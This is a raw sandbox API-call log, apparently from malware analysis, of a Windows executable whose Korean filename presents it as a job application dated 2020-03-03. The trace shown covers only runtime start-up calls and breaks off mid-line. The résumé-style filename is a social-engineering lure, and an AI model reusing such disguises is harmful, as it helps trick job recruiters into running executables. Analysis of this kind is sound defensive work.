# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Mar 3 2020 14:14:30 # Log Creation Date: 03.03.2020 14:16:34.254 Process: id = "1" image_name = "지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe" page_root = "0x45562000" os_pid = "0xa4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xaf4 [0041.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x6e7a7130, dwHighDateTime=0x1d5f166)) [0041.349] GetCurrentProcessId () returned 0xa4c [0041.350] GetCurrentThreadId () returned 0xaf4 [0041.350] GetTickCount () returned 0x11462f8 [0041.350] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16192036969) returned 1 [0041.350] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x40a145)) [0041.351] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0041.351] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x6090000 [0041.354] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.354] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0041.355] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0041.355] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0041.355] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0041.358] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x214) returned 0x60907d0 [0041.358] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.359] GetCurrentThreadId () returned 0xaf4 [0041.359] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x409d8a, hStdOutput=0x40a0c3, hStdError=0x60907d0)) [0041.359] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x800) returned 0x60909f0 [0041.359] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0041.359] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0041.359] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0041.359] SetHandleCount (uNumber=0x20) returned 0x20 [0041.359] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\" " [0041.359] GetEnvironmentStringsW () returned 0x48b1e88* [0041.360] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x0, Size=0xaca) returned 0x60911f8 [0041.360] FreeEnvironmentStringsW (penv=0x48b1e88) returned 1 [0041.360] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4235e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe")) returned 0x48 [0041.360] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x0, Size=0x9a) returned 0x6091cd0 [0041.360] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x98) returned 0x6091d78 [0041.360] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x3e) returned 0x6091e18 [0041.360] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x6c) returned 0x6091e60 [0041.360] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x6e) returned 0x6091ed8 [0041.360] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x78) returned 0x6091f50 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x62) returned 0x6091fd0 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x2e) returned 0x6092040 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x48) returned 0x6092078 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x28) returned 0x60920c8 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x1a) returned 0x60920f8 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x4a) returned 0x6092120 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x72) returned 0x6092178 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x30) returned 0x60921f8 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x2e) returned 0x6092230 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x1c) returned 0x6092268 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0xd2) returned 0x6092290 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x7c) returned 0x6092370 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x36) returned 0x60923f8 [0041.361] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x3a) returned 0x6092438 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x90) returned 0x6092480 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x24) returned 0x6092518 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x30) returned 0x6092548 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x36) returned 0x6092580 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x48) returned 0x60925c0 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x52) returned 0x6092610 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x3c) returned 0x6092670 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x82) returned 0x60926b8 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x2e) returned 0x6092748 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x1e) returned 0x6092780 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x2c) returned 0x60927a8 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x54) returned 0x60927e0 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x52) returned 0x6092840 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x2a) returned 0x60928a0 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x3c) returned 0x60928d8 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x54) returned 0x6092920 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x24) returned 0x6092980 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x30) returned 0x60929b0 [0041.362] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x8c) returned 0x60929e8 [0041.363] HeapFree (in: hHeap=0x6090000, dwFlags=0x0, lpMem=0x60911f8 | out: hHeap=0x6090000) returned 1 [0041.365] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x80) returned 0x6092a80 [0041.366] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0041.366] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x8, Size=0x800) returned 0x60911f8 [0041.366] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0041.366] GetLastError () returned 0x0 [0041.366] SetLastError (dwErrCode=0x0) [0041.366] GetLastError () returned 0x0 [0041.366] SetLastError (dwErrCode=0x0) [0041.367] GetLastError () returned 0x0 [0041.367] SetLastError (dwErrCode=0x0) [0041.367] GetACP () returned 0x4e4 [0041.367] RtlAllocateHeap (HeapHandle=0x6090000, Flags=0x0, Size=0x220) returned 0x6091a00 [0041.367] GetLastError () returned 0x0 [0041.367] SetLastError (dwErrCode=0x0) [0041.367] IsValidCodePage (CodePage=0x4e4) returned 1 [0041.367] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.367] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0041.367] GetLastError () returned 0x0 [0041.367] SetLastError (dwErrCode=0x0) [0041.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0041.368] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0041.368] GetLastError () returned 0x0 [0041.368] SetLastError (dwErrCode=0x0) [0041.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䔡퇔榈@Ā") returned 256 [0041.368] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䔡퇔榈@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0041.369] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䔡퇔榈@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0041.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x14ü½«\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0041.369] GetLastError () returned 0x0 [0041.369] SetLastError (dwErrCode=0x0) [0041.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䔡퇔榈@Ā") returned 256 [0041.369] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䔡퇔榈@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0041.369] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䔡퇔榈@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0041.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x14ü½«\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0041.370] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40920f) returned 0x0 [0041.371] RtlSizeHeap (HeapHandle=0x6090000, Flags=0x0, MemoryPointer=0x6092a80) returned 0x80 [0041.372] RtlSizeHeap (HeapHandle=0x6090000, Flags=0x0, MemoryPointer=0x6092a80) returned 0x80 [0041.373] RtlSizeHeap (HeapHandle=0x6090000, Flags=0x0, MemoryPointer=0x6092a80) returned 0x80 [0041.373] RtlSizeHeap (HeapHandle=0x6090000, Flags=0x0, MemoryPointer=0x6092a80) returned 0x80 [0041.374] RtlSizeHeap (HeapHandle=0x6090000, Flags=0x0, MemoryPointer=0x6092a80) returned 0x80 [0041.374] RtlSizeHeap (HeapHandle=0x6090000, Flags=0x0, MemoryPointer=0x6092a80) returned 0x80 [0041.375] RtlSizeHeap (HeapHandle=0x6090000, Flags=0x0, MemoryPointer=0x6092a80) returned 0x80 [0041.375] RtlSizeHeap (HeapHandle=0x6090000, Flags=0x0, MemoryPointer=0x6092a80) returned 0x80 [0041.376] RtlSizeHeap (HeapHandle=0x6090000, Flags=0x0, MemoryPointer=0x6092a80) returned 0x80 [0041.376] GetTickCount () returned 0x1146317 [0041.376] GetLastError () returned 0x0 [0041.377] GetTickCount () returned 0x1146317 [0041.377] GetLastError () returned 0x0 [0041.377] GetTickCount () returned 0x1146317 [0041.377] GetLastError () returned 0x0 [0041.377] GetTickCount () returned 0x1146317 [0041.377] GetLastError () returned 0x0 [0041.377] GetTickCount () returned 0x1146317 [0041.377] GetLastError () returned 0x0 [0041.377] GetTickCount () returned 0x1146317 [0041.377] GetLastError () returned 0x0 [0041.377] GetTickCount () returned 0x1146317 [0041.377] GetLastError () returned 0x0 [0041.377] GetTickCount () returned 0x1146317 [0041.377] GetLastError () returned 0x0 [0041.377] GetTickCount () returned 0x1146317 [0041.377] GetLastError () returned 0x0 [0041.377] GetTickCount () returned 0x1146317 [0041.377] 